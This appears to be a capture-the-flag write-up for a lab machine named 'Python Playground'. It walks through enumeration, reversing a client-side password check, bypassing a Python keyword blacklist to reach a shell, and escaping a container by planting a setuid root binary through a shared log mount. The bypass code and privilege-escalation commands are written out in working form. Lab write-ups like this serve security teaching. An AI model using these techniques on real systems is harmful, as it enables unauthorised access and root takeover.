Objectives
Capture three flags
Steps
Enumeration
Let’s start with a standard nmap scan:
1
2
3
4
5
6
7
8
9
Nmap scan report for <IP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Python Playground!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
We see an open http server on port 80. After browsing to the site we’re greeted with this page.
On this page there are two links: login.html and signup.html
Both have the same page on them
There is nothing suspicious in the source code so after running a quick gobuster scan with raft-large-files.txt
we can find admin.html
We’re presented with a login page but after checking the source code it is client-side only
1
2
<script>
// I suck at server side code, luckily I know how to make things secure without it - Connor
The script contains two functions (string_to_int_array
and int_array_to_text
) and a form handler.
Inside the form handler we can see a check for the correct password and a redirect to a “secret page”
1
2
3
4
5
if(hash === '<REDACTED>'){
window.location = 'super-secret-admin-testing-panel.html';
}else {
document.getElementById('fail').style.display = '';
}
The secret page contains a textarea presumably to execute python code just like the index page said.
RCE
The index page also mentioned a blacklist forbidding people from executing code on the underlying system.
After many attempts I figured out that the blocked keywords were: “import “, “eval”, “exec” and “system”.
I figured out an overcomplicated way of bypassing it. It revolved around a base64 encoded file being unpacked onto the system and executed with an import function.
1
2
3
4
5
6
f = open("test.py",'w')
f.write(__import__("base64").b64decode("<BASE64_FILE>").decode('utf-8'))
f.close()
p=__import__("os").getcwd()
__import__("sys").path.append(p)
__import__("test").a()
This approach works but there is a way simpler way to get a shell on the system. Instead of using a space after the “import” keyword we can use a tab which is still parsed by python (Thanks jammy for letting me know) This way we can use the pentestmonkey python reverse shell without any problems.
Initial foothold
After getting the reverse shell we are strangely dropped into a root shell
1
2
# id
uid=0(root) gid=0(root) groups=0(root)
Looking around the filesystem we can see the project code in /root/app, flag1 in /root and a weird mount in /mnt/log (we’ll come back to it later).
Most of binaries are missing so this is probably not the way which we should use to progress.
There are no other flags on this system so it is probably a container of some sorts.
User credentials
With the root shell being probably in a container we need to backtrack for a second and figure out the credentials to the admin page as they might be reused for ssh access.
The admin “login” site had all the code clientside which makes it easy for us to reverse-engineer it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
document.forms[0].onsubmit = function (e){
e.preventDefault();
if(document.getElementById('username').value !== 'connor'){
document.getElementById('fail').style.display = '';
return false;
}
const chosenPass = document.getElementById('inputPassword').value;
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
if(hash === '<REDACTED>'){
window.location = 'super-secret-admin-testing-panel.html';
}else {
document.getElementById('fail').style.display = '';
}
return false;
}
From going through the code we can deduct that:
- The admin’s username is “connor”
- The string_to_int_array function grabs a character, gets it’s decimal representation and stores it as two separate values in an array which it returns afterwards
- The int_array_to_text function gets an int array and then grabs a letter from the int+97 (97 is added so the output is a lowercase char)
- When a password is submitted the password is converted to an int array, to a string, to an int array again and to a string
With the “encoding” function known we can write a “decoder” for the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function decodeStr(str) {
let out = ""
for (let i = 0; i < str.length; i += 2) {
let partA = str.charCodeAt(i) - 97
let partB = str.charCodeAt(i + 1) - 97
out += String.fromCharCode((partA * 26) + partB)
}
return out
}
console.log(decodeStr(decodeStr("<REDACTED>"))) // password
User shell
With the user credentials we can log in as connor via ssh and grab the 2nd flag
1
2
connor@pythonplayground:~$ ls
flag2.txt
Looking around the system and using linpeas and trying to exploit things didn’t reveal much, doing similar scans on the container also resulted in nothing.
Thanks again to jammy for making me realize that the /mnt/log in the container was linked to /var/log on the parent machine just like I suspected earlier.
With this in mind we can create a file with suid bit set and execute it afterwards as connor. (This is possible because the root user id is the same across systems)
1
2
3
4
5
6
7
8
9
10
11
// ON THE CONTAINER
# printf 'int main(void){setresuid(0,0,0);system("/bin/sh");}'>tmp.c
# gcc tmp.c -o tmp
# chmod 777 tmp
# chmod +s tmp
// ON THE PARENT MACHINE
connor@pythonplayground:~$ /var/log/tmp
# id
uid=0(root) gid=1000(connor) groups=1000(connor)
#
Root
As root we can now easily grab the 3rd flag from /root
Thanks to:
- deltatemporal for creating this room
- jammy for the privesc pointers and the easier python revshell method
- you for reading.
Hope you learned something :)